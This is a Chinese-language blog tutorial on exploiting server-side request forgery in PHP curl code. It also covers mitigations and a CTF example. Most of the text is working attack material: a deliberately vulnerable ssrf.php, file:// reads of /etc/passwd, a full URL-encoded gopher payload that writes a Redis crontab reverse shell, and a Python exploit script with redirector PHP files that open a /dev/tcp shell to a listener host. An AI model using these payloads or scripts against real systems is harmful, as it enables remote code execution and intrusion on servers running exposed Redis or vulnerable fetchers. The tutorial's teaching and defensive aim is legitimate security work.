SSRF-php初探
0x00 前言
1) SSRF的概念很好理解,請自行百度。
2) JAVA/PHP/PYTHON都存在SSRF漏洞(至於其他語言的情況,了解粗淺尚不得知)。
3) SSRF的利用方式很多,可參考豬豬俠的build_your_ssrf_exp_autowork,以及大佬博客。
4) 以下導圖只是SSRF部分內容,導圖中帶√部分為本文涉及內容。
0x01 漏洞產生
以curl為例,漏洞代碼為ssrf.php
<?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET[‘url‘]); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); curl_close($ch); ?>
0x02 利用方式
首先查看curl的版本和該版本支持的協議
[root@localhost html]# curl -V curl 7.29.0 (x86_64-redhat-linux-gnu) libcurl/7.29.0 NSS/3.21 Basic ECC zlib/1.2.7 libidn/1.28 libssh2/1.4.3 Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp scp sftp smtp smtps telnet tftp Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz unix- sockets
可以看到該版本的curl支持很多協議,其中gopher協議、dict協議、file協議、http/s協議用的比較多
ps:上面的漏洞代碼ssrf.php沒有屏蔽回顯,所以利用姿勢比較多
gopher:gopher協議支持發出GET、POST請求:可以先截獲get請求包和post請求包,再構造成符合gopher協議的請求。gopher協議是ssrf利用中一個最強大的協議。
先監聽本地2333端口,然後利用gopher協議訪問
[root@localhost ~]# nc -l -vv 2333 Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Listening on :::2333 Ncat: Listening on 0.0.0.0:2333 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:47726 [root@localhost html]# curl -v ‘http://127.0.0.1/ssrf.php? url=gopher://127.0.0.1:2333/_test‘ [root@localhost ~]# nc -l -vv 2333 Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Listening on :::2333 Ncat: Listening on 0.0.0.0:2333 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:47726. test
可以看到數據發送了。一開始感覺反彈傳輸數據沒多大用,後來看了gopher和dict攻擊redis和脆弱的內網應用的exp才明白
dict:因為ssrf.php的漏洞代碼有回顯,所以瀏覽器直接訪問
http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:6379/info
即可看到redis的相關配置。
http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh端口/info
即可看到ssh的banner信息
如果ssrf.php中加上一行屏蔽回顯的代碼“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那麽這種方式就失效了,和gopher一樣,只能利用nc監聽端口,反彈傳輸數據了。
file:因為ssrf.php的漏洞代碼有回顯,所以瀏覽器直接訪問
http://4o4notfound.org/ssrf.php?url=file:///etc/passwd
即可看到很多不可描述的東西。同理,如果屏蔽回顯,該協議就廢了
http/s:主要用來探測內網服務。根據響應的狀態判斷內網端口及服務,可以結合java系列0day和其他各種0day使用
0x03 攻擊應用
主要攻擊redis、discuz、fastcgi、memcache、內網脆弱應用這幾類應用,這裏以redis為例,分別利用gopher協議和dict協議getshell
首先要了解redis的getshell的exp寫成的bash shell:
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1 redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit
執行命令bash shell.sh 127.0.0.1 6379,就在redis裏面寫了一個鍵值對的定時任務(利用crontab),可以反彈shell。
gopher利用:這部分三葉草的joychou師傅說的很詳細,可以看SSRF in PHP:https://joychou.org/web/phpssrf.html。
這裏為了構造符合gopher協議的訪問請求,首先要獲取bash腳本對redis發出的訪問請求,要用socat進行端口轉發,轉發命令為:
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
意思是將訪問4444端口的流量轉發到6379端口。也就是如果我們的bash腳本請求的是4444端口,仍然訪問的是6379的redis,相當於一個中轉
執行命令:
bash shell.sh 127.0.0.1 4444
socat就獲取到了shell.sh對redis發出的請求(這裏貼出來部分請求):
[root@localhost cron]# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379 > 2017/05/25 07:16:51.991865 length=18 from=0 to=17 *1\r $8\r flushall\r < 2017/05/25 07:16:51.992468 length=5 from=0 to=4 +OK\r > 2017/05/25 07:16:51.995872 length=83 from=0 to=82 *3\r $3\r set\r $1\r 1\r $56\r */1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1 \r < 2017/05/25 07:16:51.996065 length=5 from=0 to=4 +OK\r > 2017/05/25 07:16:51.998777 length=57 from=0 to=56 *4\r $6\r
改成適配gopher協議的url:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0 a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0ad ir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$ 10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aq uit%0d%0a
再進行urlencode,得到payload:
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d %250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20 bash%20- i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d %250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250 a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250 d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2 A1%250d%250a%244%250d%250aquit%250d%250a
最終的攻擊poc為:
curl -v ‘http://127.0.0.1/ssrf.php? url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241% 250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2 A%20bash%20- i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d %250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250 a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250 d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2 A1%250d%250a%244%250d%250aquit%250d%250a‘
執行即可在/var/spool/cron/下生成一個名為root的定時任務,任務為反彈shell
dict利用:dict協議有一個功能:dict://serverip:port/name:data 向服務器的端口請求 name data,並在末尾自動補上rn(CRLF)。也就是如果我們發出dict://serverip:port/config:set:dir:/var/spool/cron/的請求,redis就執行了config set dir /var/spool/cron/ rn.用這種方式可以一步步執行redis getshell的exp,執行完就能達到和gopher一樣的效果。原理一樣,但是gopher只需要一個url請求即可,dict需要步步構造。
利用豬豬俠的wooyun上公開的腳本改成適配本文的腳本ssrf.py:
import requests host = ‘104.224.151.234‘ port = ‘6379‘ bhost = ‘www.4o4notfound.org‘ bport=2333 vul_httpurl = ‘http://www.4o4notfound.org/ssrf.php?url=‘ _location = ‘http://www.4o4notfound.org/302.php‘ shell_location = ‘http://www.4o4notfound.org/shell.php‘ #1 flush db _payload = ‘?s=dict%26ip={host}%26port={port}%26data=flushall‘.format( host = host, port = port) exp_uri = ‘{vul_httpurl}{0}{1}‘.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #set crontab command _payload = ‘?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport= {bport}‘.format( host = host, port = port, bhost = bhost, bport = bport) exp_uri = ‘{vul_httpurl}{0}{1}‘.format(shell_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #confg set dir _payload=‘?s=dict%26ip={host}%26port= {port}%26data=config:set:dir:/var/spool/cron/‘.format( host = host, port = port) exp_uri = ‘{vul_httpurl}{0}{1}‘.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #config set dbfilename _payload=‘?s=dict%26ip={host}%26port= {port}%26data=config:set:dbfilename:root‘.format( host = host, port = port) exp_uri = ‘{vul_httpurl}{0}{1}‘.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #save _payload=‘?s=dict%26ip={host}%26port={port}%26data=save‘.format( host = host, port = port) exp_uri = ‘{vul_httpurl}{0}{1}‘.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content
因為curl默認不支持302跳轉,而該腳本要用到302跳轉,所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”來支持跳轉。302.php代碼為:
<?php $ip = $_GET[‘ip‘]; $port = $_GET[‘port‘]; $scheme = $_GET[‘s‘]; $data = $_GET[‘data‘]; header("Location: $scheme://$ip:$port/$data");
?>
shell.php主要用於寫入用於反彈shell的crontab的定時任務,代碼為:
<?php $ip = $_GET[‘ip‘]; $port = $_GET[‘port‘]; $bhost = $_GET[‘bhost‘]; $bport = $_GET[‘bport‘]; $scheme = $_GET[‘s‘]; header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20- i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>
執行ssrf.py,即可在/var/spool/cron/下寫入定時任務,反彈shell,nc等待接收shell
0x04 繞過與防禦
繞過:可以使用www.ip.xip.io或者www.ip.xip.io代替ip可以繞過部分過濾
防禦:限制協議為HTTP、HTTPS
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
禁止30x跳轉
刪掉curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
設置白名單或限制內網ip
0x05 例題
一道ctf題目,有兩個文件:ssrf3.php和flag.php
題目意思是flag只能127.0.0.1訪問,還進行了post驗證,這就需要gopher提交post數據來繞過
curl設置了302跳轉,所以可以把302.php放在自己的vps上進行跳轉.
首先獲取訪問flag.php的post請求:
POST /flag.php HTTP/1.1 Host: 192.168.154.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 14 username=admin
因為只有一臺機器,所以我直接將Host改成了127.0.0.1,再改成符合gopher協議的請求,寫入302.php。
302.php內容為
header("Location:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0%0d%0aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip, deflate%0d%0aConnection: keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent- Type: application/x-www-form-urlencoded%0d%0aContent-Length: 14%0d%0a%0d%0ausername=admin");
流程就是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,然後漏洞機器會訪問302.php,然後跳轉,利用gopher協議,自己訪問自己的flag.php同時提交username=admin的post數據。flag可以在ssrf3.php的頁面源代碼中看到。
因為都是一臺機器在操作,但應該不是紫薇吧.ps:改裝成符合gopher協議的get、post類型請求還是要小心的。
Reference
https://joychou.org/web/phpssrf.html(三葉草)
https://www.t00ls.net/articles-41070.html(了解php/python/java中SSRF的利用)
SSRF-php初探